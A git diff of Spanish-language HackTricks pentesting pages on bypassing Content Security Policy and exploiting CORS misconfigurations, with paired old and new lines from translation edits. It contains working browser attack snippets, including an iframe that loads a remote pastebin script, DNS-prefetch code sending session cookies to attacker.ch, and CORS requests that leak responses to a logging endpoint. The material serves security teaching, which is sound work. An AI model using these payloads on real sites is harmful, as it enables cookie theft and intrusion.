document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Filtración de información con CSP e Iframe
### Filtración de información con CSP y Iframe
- Se crea un `iframe` que apunta a una URL (llamémosla `https://example.redirect.com`) que está permitida por CSP.
- Esta URL luego redirige a una URL secreta (por ejemplo, `https://usersecret.example2.com`) que **no está permitida** por CSP.
- Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que redirigió la URL inicial.
- Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que se redirigió la URL inicial.
Es interesante notar que navegadores como Chrome y Firefox tienen diferentes comportamientos al manejar iframes con respecto a CSP, lo que puede llevar a la filtración potencial de información sensible debido al comportamiento no definido.
Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y ajusta el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están bloqueados deliberadamente. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí tienes un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir la cantidad de caracteres posibles en el subdominio secreto, descubriendo eventualmente la URL completa.
Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir las posibles letras en el subdominio secreto, descubriendo eventualmente la URL completa.
Ambos métodos explotan los matices de la implementación y el comportamiento de la CSP en los navegadores, demostrando cómo las políticas aparentemente seguras pueden filtrar inadvertidamente información sensible.
@ -595,14 +600,14 @@ Mantente informado sobre los nuevos programas de recompensas por errores que se
### Sobrecarga del búfer de respuesta de PHP
PHP es conocido por **almacenar en búfer la respuesta hasta 4096** bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficientes datos dentro de las advertencias**, la **respuesta** se **enviará** **antes** del **encabezado CSP**, lo que ha que el encabezado se ignore.\
PHP es conocido por **almacenar en búfer la respuesta hasta 4096** bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficientes datos dentro de las advertencias**, la **respuesta** se **enviará** **antes** del **encabezado CSP**, lo que hace que el encabezado se ignore.\
Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el encabezado CSP no se envíe.
Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Reescribir la Página de Error
### Reescribir Página de Error
Según [**este writeup**](https://blog.ssrf.kr/69), parece que fue posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
Según [**este writeup**](https://blog.ssrf.kr/69), parece que era posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
@ -619,7 +624,7 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un punt
Además, **wordpress** tiene un punto final **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final de callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
Para obtener más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Bypasses de Exfiltración de CSP
@ -641,7 +646,7 @@ Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección,
```
### DNS Prefetch
Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\
Para cargar páginas más rápido, los navegadores van a preresolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\
Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link reol="dns-prefetch" href="something.com">`
Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**:
@ -650,25 +655,7 @@ var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
### Bypassing Content Security Policy (CSP)
---
#### Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, there are ways to bypass CSP protections and execute malicious code on a target website.
#### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` directive. This directive allows the execution of inline scripts and styles, which are normally blocked by CSP. By injecting malicious code directly into the HTML document or using the `style` attribute to add inline styles, an attacker can bypass CSP protections that restrict inline scripts and styles.
#### Bypassing CSP using `unsafe-eval`
Another way to bypass CSP is by using the `unsafe-eval` directive. This directive allows the use of `eval()` and similar functions for executing dynamic code. By exploiting this directive, an attacker can execute arbitrary code on a target website, bypassing CSP protections that block the use of `eval()` and other dynamic code execution methods.
#### Conclusion
While Content Security Policy (CSP) is a powerful security mechanism for protecting web applications against various code injection attacks, it is not foolproof. By understanding how CSP works and the potential bypass techniques like `unsafe-inline` and `unsafe-eval`, attackers can find ways to circumvent CSP protections and execute malicious code on vulnerable websites. Web developers should be aware of these bypass techniques and implement additional security measures to mitigate the risks posed by CSP bypass vulnerabilities.
Otra forma de hacerlo:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
@ -703,12 +690,12 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Verificación de las políticas de CSP en línea
## Verificación de Políticas de CSP en línea
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Creación automática de CSP
## Creación Automática de CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -749,7 +736,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,10 +4,10 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -19,7 +19,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Prohíbe el uso de cualquier función que ejecute código transmitido como una cadena. Por ejemplo: `eval, setTimeout, setInterval` serán bloqueados debido a la configuración `unsafe-eval`
Todo contenido de fuentes externas también está bloqueado, incluyendo imágenes, CSS, WebSockets y, especialmente, JS
Cualquier contenido de fuentes externas también está bloqueado, incluyendo imágenes, CSS, WebSockets y, especialmente, JS
### A través de Texto e Imágenes
@ -34,7 +34,7 @@ window.frames[0].document.head.appendChild(script);
```
### A través de Errores
De manera similar, las respuestas de error, como archivos de texto o imágenes, suelen llegar sin encabezados CSP y podrían omitir X-Frame-Options. Los errores pueden ser inducidos a cargarse dentro de un iframe, lo que permite las siguientes acciones:
De manera similar, las respuestas de error, como archivos de texto o imágenes, suelen llegar sin encabezados CSP y podrían omitir X-Frame-Options. Los errores pueden ser inducidos a cargarse dentro de un iframe, lo que permite realizar las siguientes acciones:
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
@ -74,7 +74,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,10 +6,10 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -31,17 +31,17 @@ La aplicación de la política de mismo origen en el contexto de `http://normal-
| `http://www.normal-website.com/example/` | No: Dominio diferente |
| `http://normal-website.com:8080/example/` | No: Puerto diferente* |
*Internet Explorer no tiene en cuenta el número de puerto al hacer cumplir la política de mismo origen, permitiendo así este acceso.
*Internet Explorer ignora el número de puerto al hacer cumplir la política de mismo origen, permitiendo así este acceso.
### Encabezado `Access-Control-Allow-Origin`
Este encabezado puede permitir **múltiples orígenes**, un valor de **`null`**, o un comodín **`*`**. Sin embargo, **ningún navegador admite múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y no se permite su uso junto con `Access-Control-Allow-Credentials: true`.)
Este encabezado puede permitir **múltiples orígenes**, un valor **`null`**, o un comodín **`*`**. Sin embargo, **ningún navegador admite múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y no se permite su uso junto con `Access-Control-Allow-Credentials: true`).
Este encabezado es **emitido por un servidor** en respuesta a una solicitud de recurso entre dominios iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado `Origin`.
### Encabezado `Access-Control-Allow-Credentials`
Por **defecto**, las solicitudes entre orígenes se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**.
Por **defecto**, las solicitudes entre dominios se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**.
Si se establece en `true`, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS).
```javascript
@ -74,13 +74,13 @@ xhr.send('<person><name>Arun</name></person>');
### Comprendiendo las Solicitudes Previas en la Comunicación entre Dominios
Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos **encabezados**, o emplear un valor especial en el encabezado **Content-Type**, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos y encabezados HTTP que pretende utilizar.
Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos **encabezados**, o emplear un valor especial en el encabezado **Content-Type**, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos HTTP y encabezados que pretende utilizar.
El protocolo de **Compartir Recursos de Origen Cruzado (CORS)** exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
El protocolo de **Compartición de Recursos de Origen Cruzado (CORS)** exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulta la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
Es crucial tener en cuenta que **la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes.
Es crucial tener en cuenta que la **ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes.
Considere la siguiente ilustración de una solicitud previa dirigida a utilizar el método `PUT` junto con un encabezado personalizado llamado `Special-Request-Header`:
Considera la siguiente ilustración de una solicitud previa dirigida a utilizar el método `PUT` junto con un encabezado personalizado llamado `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -102,15 +102,15 @@ Access-Control-Max-Age: 240
- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados se pueden utilizar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.
- **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados se pueden exponer como parte de la respuesta además de los encabezados de respuesta simples.
- **`Access-Control-Max-Age`**: Este encabezado indica cuánto tiempo pueden ser almacenados en caché los resultados de una solicitud previa. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud previa puede ser reutilizada.
- **`Access-Control-Request-Headers`**: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP el cliente desea utilizar en la solicitud real.
- **`Access-Control-Request-Headers`**: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP desea utilizar en la solicitud real.
- **`Access-Control-Request-Method`**: Este encabezado, también utilizado en solicitudes previas, es establecido por el cliente para indicar qué método HTTP se utilizará en la solicitud real.
- **`Origin`**: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud de origen cruzado. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada según la política CORS.
- **`Origin`**: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud de origen cruzado. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada basándose en la política CORS.
Ten en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud **GET/POST no se envía una solicitud previa** (la solicitud se envía **directamente**), pero si deseas acceder a los **encabezados/cuerpo de la respuesta**, debe contener un encabezado _Access-Control-Allow-Origin_ que lo permita.\
**Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).**
### **Solicitud previa de solicitudes de red local**
### **Solicitud previa de red local**
1. **`Access-Control-Request-Local-Network`**: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene desde la red local.
@ -128,7 +128,7 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Ten en cuenta que la IP **0.0.0.0** de Linux funciona para **burlar** estos requisitos y acceder a localhost, ya que esa dirección IP no se considera "local".
Ten en cuenta que la IP de linux **0.0.0.0** funciona para **burlar** estos requisitos y acceder a localhost, ya que esta dirección IP no se considera "local".
También es posible **burlar los requisitos de la Red Local** si se utiliza la **dirección IP pública de un punto final local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se accede a la **IP pública**, si es **desde la red local**, se concederá el acceso.
@ -145,7 +145,7 @@ Existe una excepción donde la ubicación de la red de la víctima actúa como u
### Reflejo de `Origin` en `Access-Control-Allow-Origin`
El escenario del mundo real donde el valor del encabezado `Origin` se refleja en `Access-Control-Allow-Origin` es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URLs pueden generar dinámicamente el encabezado `Access-Control-Allow-Origin` copiando el valor del encabezado `Origin`. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.
El escenario del mundo real donde el valor del encabezado `Origin` se refleja en `Access-Control-Allow-Origin` es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URL pueden generar dinámicamente el encabezado `Access-Control-Allow-Origin` copiando el valor del encabezado `Origin`. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.
```html
<script>
var req = new XMLHttpRequest();
@ -160,7 +160,7 @@ location='/log?key='+this.responseText;
```
### Explotando el Origen `null`
El origen `null`, especificado para situaciones como redirecciones o archivos HTML locales, tiene una posición única. Algunas aplicaciones incluyen este origen en la lista blanca para facilitar el desarrollo local, permitiendo inadvertidamente que cualquier sitio web imite un origen `null` a través de un iframe con sandbox, evitando así las restricciones de CORS.
El origen `null`, especificado para situaciones como redirecciones o archivos HTML locales, tiene una posición única. Algunas aplicaciones incluyen este origen en listas blancas para facilitar el desarrollo local, permitiendo inadvertidamente que cualquier sitio web imite un origen `null` a través de un iframe con sandbox, evitando así las restricciones de CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -192,7 +192,7 @@ Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades
### Bypasses Avanzados de Expresiones Regulares
Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir las comprobaciones de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de guion bajo en subdominios ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.
Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir controles de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de guion bajo en subdominios ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.
**Para obtener más información y configuraciones de esta verificación de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -210,14 +210,14 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
En esta configuración, se permite el acceso a todos los subdominios de `requester.com`. Sin embargo, si un subdominio, por ejemplo `sub.requester.com`, se ve comprometido con una vulnerabilidad de XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a `sub.requester.com` podría explotar la vulnerabilidad de XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en `provider.com`.
En esta configuración, se permite el acceso a todos los subdominios de `requester.com`. Sin embargo, si un subdominio, por ejemplo `sub.requester.com`, se ve comprometido con una vulnerabilidad XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a `sub.requester.com` podría explotar la vulnerabilidad XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en `provider.com`.
### **Envenenamiento de caché del lado del servidor**
### **Envenenamiento de caché en el lado del servidor**
**[De esta investigación](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
Es posible que al explotar el envenenamiento de caché del lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado `Origin` de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan `\r` (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP.
Es posible que al explotar el envenenamiento de caché en el lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado `Origin` de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan `\r` (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP.
Considere la siguiente solicitud donde se manipula el encabezado `Origin`:
```text
@ -230,7 +230,7 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud elaborada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.
Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud creada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga creada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.
Para más lecturas sobre vulnerabilidades XSS almacenadas, consulta [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
@ -241,13 +241,13 @@ Para más lecturas sobre vulnerabilidades XSS almacenadas, consulta [PortSwigger
**[De esta investigación](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.
En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.
Las políticas de Compartir Recursos de Origen Cruzado (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar el almacenamiento en caché del lado del cliente.
Las políticas de Compartir Recursos de Origen (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar la caché del lado del cliente.
Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Tras completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente desencadenando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado `Vary: Origin`.
Aquí tienes un resumen del JavaScript utilizado para ejecutar este ataque:
Aquí se presenta un resumen del JavaScript utilizado para ejecutar este ataque:
```html
<script>
function gotcha() { location=url }
@ -263,29 +263,29 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de Mismo Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta script.
XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de la Misma Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta de script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta de script.
